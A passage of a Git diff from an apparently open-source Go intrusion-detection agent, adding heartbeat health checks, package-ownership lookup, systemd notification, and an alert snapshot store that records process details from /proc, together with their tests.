func ReadHeartbeat(stateDir string) (time.Time, error) {
|
||||
raw, err := os.ReadFile(filepath.Join(stateDir, Filename))
|
||||
if err != nil {
|
||||
return time.Time{}, err
|
||||
}
|
||||
seconds, err := strconv.ParseInt(strings.TrimSpace(string(raw)), 10, 64)
|
||||
if err != nil {
|
||||
return time.Time{}, fmt.Errorf("parse heartbeat: %w", err)
|
||||
}
|
||||
return time.Unix(seconds, 0), nil
|
||||
}
|
||||
|
||||
// Check evaluates the retained heartbeat against the configured maximum age.
|
||||
// Missing or malformed state is represented in the result instead of returned
|
||||
// as an error so callers can always emit a complete health record.
|
||||
func Check(stateDir string, now time.Time, maxAge time.Duration) Status {
|
||||
status := Status{Schema: Schema, MaxAgeSeconds: int64(maxAge / time.Second)}
|
||||
heartbeat, err := ReadHeartbeat(stateDir)
|
||||
if err != nil {
|
||||
status.Detail = "heartbeat unavailable: " + err.Error()
|
||||
return status
|
||||
}
|
||||
age := now.Sub(heartbeat)
|
||||
if age < 0 {
|
||||
age = 0
|
||||
}
|
||||
status.Heartbeat = heartbeat.Local().Format(time.RFC3339)
|
||||
status.AgeSeconds = int64(age / time.Second)
|
||||
status.Healthy = age <= maxAge
|
||||
if status.Healthy {
|
||||
status.Detail = "heartbeat is fresh"
|
||||
} else {
|
||||
status.Detail = "heartbeat is stale"
|
||||
}
|
||||
return status
|
||||
}
|
||||
71
go-agent/internal/health/heartbeat_test.go
Normal file
71
go-agent/internal/health/heartbeat_test.go
Normal file
|
|
@ -0,0 +1,71 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package health
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestHeartbeatRoundTripAndPermissions(t *testing.T) {
|
||||
directory := filepath.Join(t.TempDir(), "state")
|
||||
want := time.Unix(1_753_012_345, 987_654_321)
|
||||
if err := WriteHeartbeat(directory, want); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := ReadHeartbeat(directory)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !got.Equal(time.Unix(want.Unix(), 0)) {
|
||||
t.Fatalf("heartbeat=%s want=%s", got, want)
|
||||
}
|
||||
info, err := os.Stat(filepath.Join(directory, Filename))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := info.Mode().Perm(); got != 0o600 {
|
||||
t.Fatalf("mode=%#o", got)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(directory, Filename+".tmp")); !os.IsNotExist(err) {
|
||||
t.Fatalf("temporary heartbeat remains: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHeartbeatRejectsMissingDirectory(t *testing.T) {
|
||||
if err := WriteHeartbeat("", time.Now()); err == nil {
|
||||
t.Fatal("empty directory accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadHeartbeatRejectsInvalidContent(t *testing.T) {
|
||||
directory := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(directory, Filename), []byte("invalid\n"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := ReadHeartbeat(directory); err == nil {
|
||||
t.Fatal("invalid heartbeat accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckReportsFreshStaleAndMissing(t *testing.T) {
|
||||
directory := t.TempDir()
|
||||
now := time.Unix(2_000, 0)
|
||||
if err := WriteHeartbeat(directory, now.Add(-30*time.Second)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fresh := Check(directory, now, time.Minute)
|
||||
if !fresh.Healthy || fresh.AgeSeconds != 30 || fresh.Detail != "heartbeat is fresh" {
|
||||
t.Fatalf("fresh=%#v", fresh)
|
||||
}
|
||||
stale := Check(directory, now, 10*time.Second)
|
||||
if stale.Healthy || stale.Detail != "heartbeat is stale" || stale.MaxAgeSeconds != 10 {
|
||||
t.Fatalf("stale=%#v", stale)
|
||||
}
|
||||
missing := Check(filepath.Join(directory, "missing"), now, time.Minute)
|
||||
if missing.Healthy || missing.Detail == "" {
|
||||
t.Fatalf("missing=%#v", missing)
|
||||
}
|
||||
}
|
||||
|
|
@ -29,9 +29,17 @@ type MemoryMap struct {
|
|||
// State is one injectable detector sweep, equivalent to the Python
|
||||
// SystemState boundary.
|
||||
type State struct {
|
||||
Processes []Process `json:"processes"`
|
||||
Sockets []Socket `json:"sockets"`
|
||||
LDPreload string `json:"ld_preload"`
|
||||
Processes []Process `json:"processes"`
|
||||
Sockets []Socket `json:"sockets"`
|
||||
LDPreload string `json:"ld_preload"`
|
||||
ListenerBaseline []string `json:"listener_baseline"`
|
||||
SUIDBaseline []string `json:"suid_baseline"`
|
||||
SUIDBinaries []string `json:"suid_binaries"`
|
||||
PersistSince *float64 `json:"persist_since"`
|
||||
PersistenceFiles map[string]float64 `json:"persistence_files"`
|
||||
FirstSeenInitialized bool `json:"first_seen_initialized"`
|
||||
FirstSeenPublicDestinations map[string][]string `json:"first_seen_public_destinations"`
|
||||
FirstSeenListenerPorts map[string][]string `json:"first_seen_listener_ports"`
|
||||
}
|
||||
|
||||
// Socket matches the Python SystemState socket view. Nil inode/PID values
|
||||
|
|
|
|||
70
go-agent/internal/provenance/provenance.go
Normal file
70
go-agent/internal/provenance/provenance.go
Normal file
|
|
@ -0,0 +1,70 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package provenance answers "is this file shipped by an installed package?".
|
||||
// Ownership raises confidence that a binary is legitimate; it never proves
|
||||
// safety, so callers use it to suppress or rank alerts, not to delete evidence.
|
||||
package provenance
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
tool *string
|
||||
cache = map[string]bool{}
|
||||
)
|
||||
|
||||
func packageTool() string {
|
||||
if tool != nil {
|
||||
return *tool
|
||||
}
|
||||
found := ""
|
||||
for _, name := range []string{"pacman", "dpkg", "rpm"} {
|
||||
if _, err := exec.LookPath(name); err == nil {
|
||||
found = name
|
||||
break
|
||||
}
|
||||
}
|
||||
tool = &found
|
||||
return found
|
||||
}
|
||||
|
||||
func query(name, path string) bool {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
switch name {
|
||||
case "pacman":
|
||||
output, err := exec.CommandContext(ctx, "pacman", "-Qo", path).Output()
|
||||
return err == nil && strings.Contains(string(output), "owned by")
|
||||
case "dpkg":
|
||||
output, err := exec.CommandContext(ctx, "dpkg", "-S", path).Output()
|
||||
return err == nil && strings.Contains(string(output), ":")
|
||||
case "rpm":
|
||||
output, err := exec.CommandContext(ctx, "rpm", "-qf", path).Output()
|
||||
return err == nil && !strings.Contains(string(output), "not owned")
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// IsPackageOwned reports whether path belongs to an installed package.
|
||||
// Results are cached because package ownership is stable within a sweep run.
|
||||
func IsPackageOwned(path string) bool {
|
||||
if path == "" || path == "(deleted)" {
|
||||
return false
|
||||
}
|
||||
path = strings.ReplaceAll(path, " (deleted)", "")
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if owned, seen := cache[path]; seen {
|
||||
return owned
|
||||
}
|
||||
name := packageTool()
|
||||
owned := name != "" && query(name, path)
|
||||
cache[path] = owned
|
||||
return owned
|
||||
}
|
||||
|
|
@ -19,8 +19,9 @@ var eventTypes = map[string]bool{
|
|||
"alert": true, "incident": true, "status": true,
|
||||
}
|
||||
|
||||
// Status matches the required enodia.status.v1 fields. The prototype sidecar
|
||||
// has no retained snapshots yet, so those counts remain empty/zero.
|
||||
// Status matches the required enodia.status.v1 fields. Agent-level callers use
|
||||
// zero retention values; the service executable fills them from its optional
|
||||
// snapshot store immediately before emitting a status envelope.
|
||||
type Status struct {
|
||||
Schema string `json:"schema"`
|
||||
Version string `json:"version"`
|
||||
|
|
|
|||
49
go-agent/internal/sdnotify/notify.go
Normal file
49
go-agent/internal/sdnotify/notify.go
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package sdnotify implements the small systemd notification subset needed by
|
||||
// the service binary without adding a runtime dependency.
|
||||
package sdnotify
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Notifier sends state records to the socket inherited from systemd. An empty
|
||||
// socket makes Notify a no-op so the agent behaves identically outside a unit.
|
||||
type Notifier struct {
|
||||
socket string
|
||||
}
|
||||
|
||||
// FromEnvironment returns a notifier for systemd's NOTIFY_SOCKET contract.
|
||||
func FromEnvironment() Notifier {
|
||||
return New(os.Getenv("NOTIFY_SOCKET"))
|
||||
}
|
||||
|
||||
// New constructs a notifier for an explicit socket, primarily for tests.
|
||||
func New(socket string) Notifier {
|
||||
return Notifier{socket: socket}
|
||||
}
|
||||
|
||||
// Notify sends one newline-delimited systemd state record.
|
||||
func (n Notifier) Notify(state string) error {
|
||||
if n.socket == "" {
|
||||
return nil
|
||||
}
|
||||
if state == "" || strings.ContainsRune(state, '\x00') {
|
||||
return fmt.Errorf("invalid empty or NUL-containing notification")
|
||||
}
|
||||
connection, err := net.DialUnix(
|
||||
"unixgram", nil, &net.UnixAddr{Name: n.socket, Net: "unixgram"},
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("connect notify socket: %w", err)
|
||||
}
|
||||
defer connection.Close()
|
||||
if _, err := connection.Write([]byte(state)); err != nil {
|
||||
return fmt.Errorf("write notify socket: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
48
go-agent/internal/sdnotify/notify_test.go
Normal file
48
go-agent/internal/sdnotify/notify_test.go
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package sdnotify
|
||||
|
||||
import (
|
||||
"net"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestDisabledNotifierIsNoOp(t *testing.T) {
|
||||
if err := New("").Notify("READY=1"); err != nil {
|
||||
t.Fatalf("disabled notifier: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNotifierSendsDatagram(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "notify.sock")
|
||||
listener, err := net.ListenUnixgram("unixgram", &net.UnixAddr{Name: path, Net: "unixgram"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer listener.Close()
|
||||
if err := New(path).Notify("READY=1\nSTATUS=initialized"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := listener.SetReadDeadline(time.Now().Add(time.Second)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
buffer := make([]byte, 128)
|
||||
read, _, err := listener.ReadFromUnix(buffer)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := string(buffer[:read]); got != "READY=1\nSTATUS=initialized" {
|
||||
t.Fatalf("notification=%q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNotifierRejectsInvalidState(t *testing.T) {
|
||||
if err := New("unused").Notify(""); err == nil {
|
||||
t.Fatal("empty state accepted")
|
||||
}
|
||||
if err := New("unused").Notify("READY=1\x00STATUS=bad"); err == nil {
|
||||
t.Fatal("NUL state accepted")
|
||||
}
|
||||
}
|
||||
385
go-agent/internal/snapshot/store.go
Normal file
385
go-agent/internal/snapshot/store.go
Normal file
|
|
@ -0,0 +1,385 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package snapshot retains Python-compatible alert snapshot pairs for the Go
|
||||
// migration service. It intentionally leaves incident grouping and rich
|
||||
// post-alert enrichment to later parity tranches while preserving the stable
|
||||
// v1 fields consumed by existing read-only tools.
|
||||
package snapshot
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
const Schema = "enodia.alert.snapshot.v1"
|
||||
|
||||
type ProcessDetail struct {
|
||||
PID int `json:"pid"`
|
||||
Comm string `json:"comm"`
|
||||
Exe string `json:"exe"`
|
||||
CWD string `json:"cwd"`
|
||||
Cmdline string `json:"cmdline"`
|
||||
PPID int `json:"ppid"`
|
||||
PPIDComm string `json:"ppid_comm"`
|
||||
UID int `json:"uid"`
|
||||
LDPreload string `json:"ld_preload"`
|
||||
FDs map[string]string `json:"fds"`
|
||||
}
|
||||
|
||||
type Report struct {
|
||||
Schema string `json:"schema"`
|
||||
Time string `json:"time"`
|
||||
Host string `json:"host"`
|
||||
Severity string `json:"severity"`
|
||||
IncidentID *string `json:"incident_id"`
|
||||
Alerts []model.Alert `json:"alerts"`
|
||||
Processes []ProcessDetail `json:"processes"`
|
||||
Enrichment map[string]any `json:"enrichment"`
|
||||
}
|
||||
|
||||
type Stats struct {
|
||||
Total int
|
||||
Counts map[string]int
|
||||
LastAlert *string
|
||||
}
|
||||
|
||||
type Store struct {
|
||||
Dir string
|
||||
ProcRoot string
|
||||
MaxCount int
|
||||
MaxAgeDays int
|
||||
Now func() time.Time
|
||||
Collect func(int) ProcessDetail
|
||||
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// New preflights the isolated snapshot directory before service readiness.
|
||||
func New(dir, procRoot string, maxCount, maxAgeDays int) (*Store, error) {
|
||||
if dir == "" {
|
||||
return nil, fmt.Errorf("snapshot directory is required")
|
||||
}
|
||||
if maxCount < 0 || maxAgeDays < 0 {
|
||||
return nil, fmt.Errorf("snapshot retention values must be non-negative")
|
||||
}
|
||||
if procRoot == "" {
|
||||
procRoot = "/proc"
|
||||
}
|
||||
if err := os.MkdirAll(dir, 0o750); err != nil {
|
||||
return nil, fmt.Errorf("create snapshot directory: %w", err)
|
||||
}
|
||||
probe, err := os.CreateTemp(dir, ".snapshot-preflight-*")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("preflight snapshot directory: %w", err)
|
||||
}
|
||||
probePath := probe.Name()
|
||||
if err := probe.Chmod(0o600); err != nil {
|
||||
probe.Close()
|
||||
os.Remove(probePath)
|
||||
return nil, fmt.Errorf("protect snapshot preflight: %w", err)
|
||||
}
|
||||
if err := probe.Close(); err != nil {
|
||||
os.Remove(probePath)
|
||||
return nil, fmt.Errorf("close snapshot preflight: %w", err)
|
||||
}
|
||||
if err := os.Remove(probePath); err != nil {
|
||||
return nil, fmt.Errorf("remove snapshot preflight: %w", err)
|
||||
}
|
||||
store := &Store{Dir: dir, ProcRoot: procRoot, MaxCount: maxCount, MaxAgeDays: maxAgeDays, Now: time.Now}
|
||||
store.Collect = func(pid int) ProcessDetail { return collectProcess(procRoot, pid) }
|
||||
if err := store.Prune(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store, nil
|
||||
}
|
||||
|
||||
// CaptureEvent merges one alert envelope into its second-granularity snapshot.
|
||||
// Python filenames use second precision, so merging avoids overwriting sibling
|
||||
// alerts emitted by one poll sweep or concurrent kernel sources.
|
||||
func (s *Store) CaptureEvent(event map[string]any) (string, error) {
|
||||
if event["event_type"] != "alert" {
|
||||
return "", fmt.Errorf("snapshot requires an alert event")
|
||||
}
|
||||
alert, err := decodeAlert(event["alert"])
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
timestamp, ok := event["timestamp"].(string)
|
||||
if !ok || timestamp == "" {
|
||||
return "", fmt.Errorf("snapshot event timestamp is required")
|
||||
}
|
||||
captured, err := time.Parse(time.RFC3339Nano, timestamp)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("parse snapshot timestamp: %w", err)
|
||||
}
|
||||
host, _ := event["host"].(string)
|
||||
base := filepath.Join(s.Dir, "alert-"+captured.Format("20060102-150405"))
|
||||
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
report := Report{
|
||||
Schema: Schema, Time: timestamp, Host: host, Severity: alert.Severity,
|
||||
Alerts: []model.Alert{}, Processes: []ProcessDetail{},
|
||||
Enrichment: map[string]any{"source": "enodia-sentinel-go"},
|
||||
}
|
||||
jsonPath := base + ".json"
|
||||
if raw, err := os.ReadFile(jsonPath); err == nil {
|
||||
if err := json.Unmarshal(raw, &report); err != nil {
|
||||
return "", fmt.Errorf("decode existing snapshot: %w", err)
|
||||
}
|
||||
if report.Schema != Schema {
|
||||
return "", fmt.Errorf("existing snapshot has schema %q", report.Schema)
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
return "", fmt.Errorf("read existing snapshot: %w", err)
|
||||
}
|
||||
report.Alerts = append(report.Alerts, alert)
|
||||
report.Severity = maxSeverity(report.Severity, alert.Severity)
|
||||
report.Processes = s.collectProcesses(report.Alerts)
|
||||
if report.Enrichment == nil {
|
||||
report.Enrichment = map[string]any{"source": "enodia-sentinel-go"}
|
||||
}
|
||||
if err := writeJSONAtomic(jsonPath, report); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := writeAtomic(base+".log", []byte(formatText(report))); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := s.pruneLocked(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Base(base + ".log"), nil
|
||||
}
|
||||
|
||||
func (s *Store) collectProcesses(alerts []model.Alert) []ProcessDetail {
|
||||
seen := map[int]bool{}
|
||||
var pids []int
|
||||
for _, alert := range alerts {
|
||||
for _, pid := range alert.PIDs {
|
||||
if pid > 0 && !seen[pid] {
|
||||
seen[pid] = true
|
||||
pids = append(pids, pid)
|
||||
}
|
||||
}
|
||||
}
|
||||
sort.Ints(pids)
|
||||
result := make([]ProcessDetail, 0, len(pids))
|
||||
for _, pid := range pids {
|
||||
result = append(result, s.Collect(pid))
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// SnapshotStats prunes first, then derives status claims from retained,
|
||||
// parseable snapshot files. Calling it for every status emission keeps the age
|
||||
// bound active even when a quiet host produces no new alert snapshots.
|
||||
func (s *Store) SnapshotStats() (Stats, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if err := s.pruneLocked(); err != nil {
|
||||
return Stats{}, err
|
||||
}
|
||||
stats := Stats{Counts: map[string]int{}}
|
||||
paths, _ := filepath.Glob(filepath.Join(s.Dir, "alert-*.json"))
|
||||
for _, path := range paths {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
var report Report
|
||||
if json.Unmarshal(raw, &report) != nil || report.Schema != Schema {
|
||||
continue
|
||||
}
|
||||
stats.Total++
|
||||
stats.Counts[report.Severity]++
|
||||
if stats.LastAlert == nil || report.Time > *stats.LastAlert {
|
||||
value := report.Time
|
||||
stats.LastAlert = &value
|
||||
}
|
||||
}
|
||||
return stats, nil
|
||||
}
|
||||
|
||||
// Prune applies count and age limits to JSON/text pairs.
|
||||
func (s *Store) Prune() error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
return s.pruneLocked()
|
||||
}
|
||||
|
||||
func (s *Store) pruneLocked() error {
|
||||
paths, err := filepath.Glob(filepath.Join(s.Dir, "alert-*.json"))
|
||||
if err != nil {
|
||||
return fmt.Errorf("list snapshots: %w", err)
|
||||
}
|
||||
type candidate struct {
|
||||
path string
|
||||
mod time.Time
|
||||
}
|
||||
items := make([]candidate, 0, len(paths))
|
||||
for _, path := range paths {
|
||||
info, err := os.Stat(path)
|
||||
if err == nil {
|
||||
items = append(items, candidate{path: path, mod: info.ModTime()})
|
||||
}
|
||||
}
|
||||
sort.Slice(items, func(i, j int) bool { return items[i].mod.After(items[j].mod) })
|
||||
cutoff := time.Time{}
|
||||
if s.MaxAgeDays > 0 {
|
||||
cutoff = s.Now().Add(-time.Duration(s.MaxAgeDays) * 24 * time.Hour)
|
||||
}
|
||||
kept := 0
|
||||
for _, item := range items {
|
||||
remove := (!cutoff.IsZero() && item.mod.Before(cutoff)) || (s.MaxCount > 0 && kept >= s.MaxCount)
|
||||
if remove {
|
||||
if err := removePair(item.path); err != nil {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
kept++
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func decodeAlert(value any) (model.Alert, error) {
|
||||
raw, err := json.Marshal(value)
|
||||
if err != nil {
|
||||
return model.Alert{}, fmt.Errorf("encode snapshot alert: %w", err)
|
||||
}
|
||||
var alert model.Alert
|
||||
if err := json.Unmarshal(raw, &alert); err != nil {
|
||||
return model.Alert{}, fmt.Errorf("decode snapshot alert: %w", err)
|
||||
}
|
||||
if alert.SID == 0 || alert.Signature == "" || alert.Severity == "" {
|
||||
return model.Alert{}, fmt.Errorf("snapshot alert is incomplete")
|
||||
}
|
||||
return alert, nil
|
||||
}
|
||||
|
||||
func maxSeverity(left, right string) string {
|
||||
rank := map[string]int{"MEDIUM": 1, "HIGH": 2, "CRITICAL": 3}
|
||||
if rank[right] > rank[left] {
|
||||
return right
|
||||
}
|
||||
return left
|
||||
}
|
||||
|
||||
func writeJSONAtomic(path string, value any) error {
|
||||
raw, err := json.MarshalIndent(value, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode snapshot: %w", err)
|
||||
}
|
||||
return writeAtomic(path, append(raw, '\n'))
|
||||
}
|
||||
|
||||
func writeAtomic(path string, raw []byte) error {
|
||||
temporary := path + ".tmp"
|
||||
if err := os.WriteFile(temporary, raw, 0o600); err != nil {
|
||||
return fmt.Errorf("write snapshot: %w", err)
|
||||
}
|
||||
if err := os.Rename(temporary, path); err != nil {
|
||||
return fmt.Errorf("replace snapshot: %w", err)
|
||||
}
|
||||
if err := os.Chmod(path, 0o600); err != nil {
|
||||
return fmt.Errorf("protect snapshot: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func removePair(jsonPath string) error {
|
||||
base := strings.TrimSuffix(jsonPath, ".json")
|
||||
for _, path := range []string{base + ".json", base + ".log"} {
|
||||
if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
|
||||
return fmt.Errorf("remove expired snapshot: %w", err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func formatText(report Report) string {
|
||||
var output strings.Builder
|
||||
fmt.Fprintln(&output, "=== ENODIA SENTINEL ALERT ===")
|
||||
fmt.Fprintln(&output, "Time: ", report.Time)
|
||||
fmt.Fprintln(&output, "Host: ", report.Host)
|
||||
fmt.Fprintln(&output, "Severity:", report.Severity)
|
||||
fmt.Fprintln(&output, "\n## Triggering detections")
|
||||
for _, alert := range report.Alerts {
|
||||
fmt.Fprintf(&output, " [%s] sid:%d %s (%s) — %s\n", alert.Severity, alert.SID, alert.Signature, alert.Classtype, alert.Detail)
|
||||
}
|
||||
fmt.Fprintln(&output, "\n## Flagged process detail")
|
||||
for _, process := range report.Processes {
|
||||
fmt.Fprintf(&output, " pid:%d comm:%s exe:%s ppid:%d uid:%d cmdline:%s\n", process.PID, process.Comm, process.Exe, process.PPID, process.UID, process.Cmdline)
|
||||
}
|
||||
if len(report.Processes) == 0 {
|
||||
fmt.Fprintln(&output, " (no specific pid in alerts)")
|
||||
}
|
||||
return output.String()
|
||||
}
|
||||
|
||||
func collectProcess(procRoot string, pid int) ProcessDetail {
|
||||
base := filepath.Join(procRoot, strconv.Itoa(pid))
|
||||
detail := ProcessDetail{PID: pid, FDs: map[string]string{}}
|
||||
detail.Comm = readText(filepath.Join(base, "comm"))
|
||||
detail.Cmdline = strings.TrimSpace(strings.ReplaceAll(readRaw(filepath.Join(base, "cmdline")), "\x00", " "))
|
||||
detail.Exe = readLink(filepath.Join(base, "exe"))
|
||||
detail.CWD = readLink(filepath.Join(base, "cwd"))
|
||||
status := readRaw(filepath.Join(base, "status"))
|
||||
for _, line := range strings.Split(status, "\n") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
continue
|
||||
}
|
||||
switch fields[0] {
|
||||
case "PPid:":
|
||||
detail.PPID, _ = strconv.Atoi(fields[1])
|
||||
case "Uid:":
|
||||
detail.UID, _ = strconv.Atoi(fields[1])
|
||||
}
|
||||
}
|
||||
detail.PPIDComm = readText(filepath.Join(procRoot, strconv.Itoa(detail.PPID), "comm"))
|
||||
for _, item := range strings.Split(readRaw(filepath.Join(base, "environ")), "\x00") {
|
||||
if strings.HasPrefix(item, "LD_PRELOAD=") {
|
||||
detail.LDPreload = strings.TrimPrefix(item, "LD_PRELOAD=")
|
||||
}
|
||||
}
|
||||
entries, _ := os.ReadDir(filepath.Join(base, "fd"))
|
||||
sort.Slice(entries, func(i, j int) bool {
|
||||
left, leftErr := strconv.Atoi(entries[i].Name())
|
||||
right, rightErr := strconv.Atoi(entries[j].Name())
|
||||
if leftErr == nil && rightErr == nil {
|
||||
return left < right
|
||||
}
|
||||
return entries[i].Name() < entries[j].Name()
|
||||
})
|
||||
for _, entry := range entries {
|
||||
if len(detail.FDs) >= 40 {
|
||||
break
|
||||
}
|
||||
if target := readLink(filepath.Join(base, "fd", entry.Name())); target != "" {
|
||||
detail.FDs[entry.Name()] = target
|
||||
}
|
||||
}
|
||||
return detail
|
||||
}
|
||||
|
||||
func readRaw(path string) string {
|
||||
raw, _ := os.ReadFile(path)
|
||||
return string(raw)
|
||||
}
|
||||
|
||||
func readText(path string) string { return strings.TrimSpace(readRaw(path)) }
|
||||
|
||||
func readLink(path string) string {
|
||||
target, _ := os.Readlink(path)
|
||||
return target
|
||||
}
|
||||
207
go-agent/internal/snapshot/store_test.go
Normal file
207
go-agent/internal/snapshot/store_test.go
Normal file
|
|
@ -0,0 +1,207 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package snapshot
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
func TestCaptureEventWritesCompatiblePairAndMergesSameSecond(t *testing.T) {
|
||||
store, err := New(t.TempDir(), "/unused", 10, 30)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
store.Collect = func(pid int) ProcessDetail {
|
||||
return ProcessDetail{PID: pid, Comm: "python3", PPID: 1, UID: 1000, FDs: map[string]string{"1": "socket:[9]"}}
|
||||
}
|
||||
first := alertEvent("2026-07-22T10:11:12.100-07:00", model.Alert{
|
||||
SID: 100069, Severity: "HIGH", Signature: "host_rule.persistence-write",
|
||||
Classtype: "persistence-write", Key: "one", Detail: "first", PIDs: []int{42},
|
||||
})
|
||||
second := alertEvent("2026-07-22T10:11:12.900-07:00", model.Alert{
|
||||
SID: 100001, Severity: "CRITICAL", Signature: "exec_rule.fileless",
|
||||
Classtype: "execution", Key: "two", Detail: "second", PIDs: []int{7, 42},
|
||||
})
|
||||
name, err := store.CaptureEvent(first)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if name != "alert-20260722-101112.log" {
|
||||
t.Fatalf("name=%q", name)
|
||||
}
|
||||
if _, err := store.CaptureEvent(second); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
base := filepath.Join(store.Dir, "alert-20260722-101112")
|
||||
raw, err := os.ReadFile(base + ".json")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var report Report
|
||||
if err := json.Unmarshal(raw, &report); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if report.Schema != Schema || report.IncidentID != nil || report.Severity != "CRITICAL" ||
|
||||
len(report.Alerts) != 2 || len(report.Processes) != 2 || report.Enrichment["source"] != "enodia-sentinel-go" {
|
||||
t.Fatalf("report=%#v", report)
|
||||
}
|
||||
for _, path := range []string{base + ".json", base + ".log"} {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.Mode().Perm() != 0o600 {
|
||||
t.Fatalf("%s mode=%#o", path, info.Mode().Perm())
|
||||
}
|
||||
}
|
||||
stats, err := store.SnapshotStats()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if stats.Total != 1 || stats.Counts["CRITICAL"] != 1 || stats.LastAlert == nil || *stats.LastAlert != first["timestamp"] {
|
||||
t.Fatalf("stats=%#v", stats)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRetentionPrunesCountAndAgeAsPairs(t *testing.T) {
|
||||
store, err := New(t.TempDir(), "/unused", 2, 1)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
store.Collect = func(pid int) ProcessDetail { return ProcessDetail{PID: pid, FDs: map[string]string{}} }
|
||||
now := time.Date(2026, 7, 22, 12, 0, 0, 0, time.UTC)
|
||||
store.Now = func() time.Time { return now }
|
||||
for index, timestamp := range []string{
|
||||
"2026-07-20T10:00:00Z", "2026-07-22T10:00:01Z", "2026-07-22T10:00:02Z",
|
||||
} {
|
||||
event := alertEvent(timestamp, model.Alert{SID: 100010 + index, Severity: "HIGH", Signature: "test", Classtype: "test", Key: "key", Detail: "detail"})
|
||||
if _, err := store.CaptureEvent(event); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
base := filepath.Join(store.Dir, "alert-"+mustTime(t, timestamp).Format("20060102-150405"))
|
||||
mod := now.Add(time.Duration(index-2) * time.Hour)
|
||||
